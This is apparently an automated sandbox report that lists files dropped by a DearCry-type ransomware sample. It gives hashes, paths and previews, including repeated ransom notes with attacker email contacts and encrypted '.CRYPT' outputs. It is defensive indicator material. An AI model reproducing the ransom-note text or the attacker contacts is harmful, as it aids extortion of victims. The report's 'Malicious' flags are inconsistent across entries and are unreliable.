                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\TempState\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):669
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84A06384E21868BB61BA287E54263B81
                                                              SHA1:ECBB863DF1421A55AED8128CF9BF696F6B35C2C1
                                                              SHA-256:65E3AD2C6972396F16FF5994ABBED63B3D661BB9321B5923DCB81A8A98B71A35
                                                              SHA-512:ACADD9A59DC7E04E37EBCE0CA553DF70752ADD0E4406494870691A91A652DB1156B234242139D321E08ECBD1179A598753882ADF19409F4726AF793F2B6FBDE1
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24576
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A9ED3A9030D955F1E21D457725274B90
                                                              SHA1:26D38E6F6CDFF18ABD97B3375719D0ECDC47EC4F
                                                              SHA-256:3273059A02069CBD5B25084D8CA282B4E67DA445A063259304EA1DB981EDDA47
                                                              SHA-512:1CE6CF9CF992D9C324C62DC6F7A706B0AA4C1FE972C657A2719143FB06C2BFBDBF7D0CE8BA5ADF9F73D1A7904AF2D9D4A76ACA0C4D149A210BC42C218BA19287
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):25464
                                                              Entropy (8bit):7.992536815257069
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:8F66C1AB8DB8688BF7363CB1649980E6
                                                              SHA1:42E94E951C40190770CECF7C86FEBD3C4B17AE00
                                                              SHA-256:D7A712AC01CBBB80EFFF79F6D9D009149D7E1DF2316D1FFD2572C3CCBFDB2EAD
                                                              SHA-512:99FF76C46801C2513A667417613EA68E0DBBDABA875B62E67E6B54CC20660FC5777A71C8AB0FB1019465870E702B9AB8872EB0D6CA679AE378A871C4B087DB8B
                                                              Malicious:true
                                                              Preview: DEARCRY!....5U..}..l7.a/.=.....jqr.3....`.^j.2...2.3.dKN...n.-........C&...N.Isw.......o.CT....$.>2..o..RA.O......E........Xr..?....p../.?...OU.......9..fLZA...$...s.X.pM....N..,.....Y....P.6.......v...q..Qq...[!./C3...$yO..T...?..n.GK5..9..K..l...w0@..... ......q.e...M...x.._.z.b2......i.b...8bo...9..AZ.Z]...u...J.6.Z.y..d..C.../I..?..\..1.[.4K:S&.-.RR.V.V.......}...d~0.F..E.].......`.~..b.>...U)n7..b.;..Y..l.>.K.C....o...*.t......].........)."....c.HZ...u... mh...8.,....&..Z.....b7/x....&..@....o;.i8...dWK.....L...A......7.Q..[;....h.+.:....N..Q....#R.+....F.G.ltmI.^\..amN.4J.. ...`..w!.Q0..1..:....x.#....d.%R..$.<..}.I.:Q.I....].]M{......A.S.....\?..w...v......."(..`._......r........VH...,...C.........r.....f.............!..U...i.Um...D/..R.D......j4..x..Iid..U$J..JO...9U8.O.j?..1U.f..B...7.0........x.[.3.EE..@..n......./p...K-...w.?1..Q.F.tC.I..yA.w8....J.2%....Z...7.XGU.......&B'...P+......!0..@.8q.S.W...z..%.U..w..>Q
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.9788219321037515
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CF8B8EA3CC304F0ED78B7361D7E7F687
                                                              SHA1:D367AA2D11AA3C6A4BC673773D77F6DCC54B5AB3
                                                              SHA-256:1D303143ED4F48EDCBA9090DED93861005AC19352F9F04396B249B8BCC6786A3
                                                              SHA-512:D1764EB5B699A1AD35CC13E9EC9A1DF0EBC575F316964FF2A4A70E95FBD9679BCB52A70982478EB2FEB5B7DA08A73BAC14835CB2FA2D175FF151C9C4A2D0400F
                                                              Malicious:false
                                                              Preview: DEARCRY!........O......5.sx.B.....j.."].9i.c..Q....p$@.....c......1.&.'..8.Y.'H.L....5%.`..;.O../6.....`Yf..".Fr..u....8.ZD.d.I..g.S.3....~...2...0P...H.yC...9.k_..1..,a......*l.h.....S..5.1..../.;..S.......\.`E\.<.FZ..sMP....s..t..q3. .....M... !&..... .........a)|~.KE.N:.*Y+...t.o.E.`..T.....F...\.S.r..;.|.v..k.L.......N..%.ctw.A.j.@.:....I:.L,b.j....L<...1.G..b...BD\.....^..P..*l......F.Z..s..$..........o.[.k[.b.K.|....w.c..;.h;....(....5x....o..Ku.j..ff.-...~..M-R[.H..=j.{.>.zf..~v.Q9...x%..~tx4.%q......`v..Aky..(.....T....0..!.dlF.<..............?n......'......9..:.v.A.[....$...U....2.....X..oG......Yy.I...M.......H..A%..5PY.%..lY../.a?....."6",U4.3.Io....^H.u./. M..R.@]..c...h..t..~.n..<.N.Ut.8&.`}.V.G.?I7..S.L.v....`V..i.n.l.V...T/.*..a.r..bQxo..k...y."A...._..W...b..#.>s..Yt.L.%..F...8,....{...y...4..@.%.5G.I.J.+.RZ.4.9...4=..V...($..X..6..$.<g.i..s..vWj...)d...p...4.:....5..'.S.}......w'-..C.s.S.V...I.(.#.......%.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.975995847553857
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EA16D153B810B5D589FCDFAF525D429C
                                                              SHA1:A945C0BD1DAE12C42D086915C5544DE0FF4E0A63
                                                              SHA-256:73A28288C341376CBF86F50953A385C99C38066B23D3C1E746F688D7FBCBDF73
                                                              SHA-512:B83C6B4AD261B27DE144EB8F00C15DDCDF28C706E20F2BFBAB2AC45BDC7B63B2134B9452D663B571E618D19E0E86A5DE53500DB44C2E89669F0F46701BAB7B39
                                                              Malicious:false
                                                              Preview: DEARCRY!......J..x.....U..1u....D6A.....X.9]..6..x..,.."0<...F.xo^...o...O..az....#..K.F&....C.......^.%.....:.....%..............Mv.B;....H,m<./..\..|.f:.?y...s..V.P.^U..P.aGm..B50x..`uJF.5...`.........-..>..I...X.x....y..Kb.%r.."j..+.............yVO.f....... ......A.>..[]Z[..h..../{.V>h...1......6=..w.O1.W.]Vq.Vq&.#.7.......W.>U.&n.P.x.....iYI,..ov...,...c...ws...}?....43E...8S........f}.!.y.....r.R.mt...G.^..9...&&eV,d-.....B...@........wb.t.Fwb.|.. ....r.#..2....><|.3..2Y.~.9..~...m.....Ca?.~t.....F`..+.=.:-....4...V../|.... ..2.i..5..Z.<.....).&}..y(..2..%.+.s.vF..._.....N....-Ofj....Q..Wx.'..../.E:.Y......+.+.A...od=..u ...w.t..=..f...........~n.uu.A....p.v...j(\....W.."...^..<Yb....s..!.*...9...-,L.=..A.B.B."#-....Ao.@9./.bQ...0.9/.U.}.a?.z..$..cSR.?.5.`..9.WV..srs...h..n..TC......n.vZ._;....e[.)}...9.`.A.7.}.:L....=.A1.&.k.......=..4....k"...L.......Z"4%R...U...>.,..>.....ds...zZ.Zl...|.:..$K..p.A3(.E..@O.C....O..V_<..~..I...G..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.977654548336321
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E6223C38CDC56DE4A392F2D6EAA665D4
                                                              SHA1:D986A099946AE54060443B3B9DAF55B709C0D2FE
                                                              SHA-256:142266301F60AB2EADB9095C5281677F501404E45E9350DD2D6E2A160E242784
                                                              SHA-512:C72A1425B28B8370B377B2964E2058D51B4FEC708E3B1C103706BF418EF9E6635520AEB314BED5D521EC144FE69F79F0DD19E2889CC9F84EBC718F947916AFBB
                                                              Malicious:false
                                                              Preview: DEARCRY!....h_._o.P@.*.......K.+r....`.._Xb.`C.....5.&+}P..0.....S...C.$..@ze....zd ...c...x..".N..#f.o........'...........q.5.0+...3.Y..Jw.@.;.-..c........S..H.(.........].Q.@.e.....^GQW1.w^..9..':.f/=[^I.A.'..../......6}e.i....*6....#.Y.....ZJ.;P..y..... ........[P>M.P0{.4~...gZeb<.>.v..}...+%..i..J;7.%.....".S..DGP...[...F..TB....tIb.u3..~......{e.LR...Q.A....#."...@...R..$...?8...0..,.-...#...j..~..q....f.oN.JQ6..i..2...^.S...O..@ ....Rt4(.@.G".n...HAW/...4_.+.......`.A_)....GI?.....suLAD%]... ..i[.y#q'.n.j.f.y>...u.F*6u..f.-{{.....6..jDe67KSw9.a....<....C.x.h.mU.h.'].e.S0....)B..(.?q........n.....M....d.M+tI...*rl.U.`.q.....f...u.b...r..V..'_.|H...m...U.....6.'h._.t...7...v.5n..........Tq...!"0............gk.I<...Z-...(.:.sw../....~...~..D......@V@.._>O{....P..f..t.3.....|.].....m.~z@...d.p.YI.cyK....X~["...{..i.K.N2..@C.....m..\.N.....^.U.<R>.c.$v...%.XM.d}..@Ob.Z...xU..6[..se.PKyu.....k...Q.^..u._......Y......m...g?Y......~
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.978603608621231
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:64947FFFBD0A9F7EFE6374A8AB2D985E
                                                              SHA1:3E3C1558E6A0763CC0305D56B1A66B66A26D2FBF
                                                              SHA-256:B28CBBAE4D743D491249DD1454DC545070D05F9C4636FE9F2CF7CD9EDF1B6A2A
                                                              SHA-512:692688E839A27492E914C905F6A096B35101A8FE7A6169A2AC92AAB2A4DCC62D44015D00FE7C6B054FF0E538AB39DBFFEB3E62B90780BE4C5F5BE431AAACCB2F
                                                              Malicious:false
                                                              Preview: DEARCRY!.....y6..\M.T...X......\.. ..C .k"...x.mz.<..>.....3.E~...5U..~.A..cj..(.....AY+.*..#..i.E..._}U*..4..%,..e..s.XD.X..aS.4u.}S.MT....&...._...Te.U... ...}.W...~.J4..>.wRJ.....Q.I...K.\.T..GJ...5.%.d....b..4..c...>....U...U^!..h.%.$tq........W...... ......,......E.[.d?.PC.$..+.%t:.9}..v.....Q&,.v}.....(.w..>.}..S...d.(IznZ..!*.=..y..V...1.....[o...-....?'.^....U.a{-..o.=..3Ud......H.2.._.....[........v.....K|5f.....Xg3.#..%.X...P...u...t......#....99.......+.~.]...X....W..?n.z..1....z.Pxl;5....S..z.;VsA....`..{.....#+.S#x8......E......K=....\...D90.'..M.n.h|.Y].V.Kn..W.A,..K..4S...."...oG.@_..V..&K..'1t...p.DP....u].5l.t.....#9.G..",/.6d.,../&.}..&.R.X..=.....K_`.w.K.B...4.KQX;p.A...Y.y.%G........u...........&....d.$.v.}....@.O..yY.6.0....=OSH...a..y......GX...3.^.+_....{.E......a,.../9.....bt.Oi0..+.....#.....+....1.<2w....#.+.<0.X.w.&.B..;...D..LKb../Rf8$.X/....k.N..n...'..Ji..%.W..._."w5..l.H.....HX~.$j.}H...P.P}ZR....
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Messaging_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
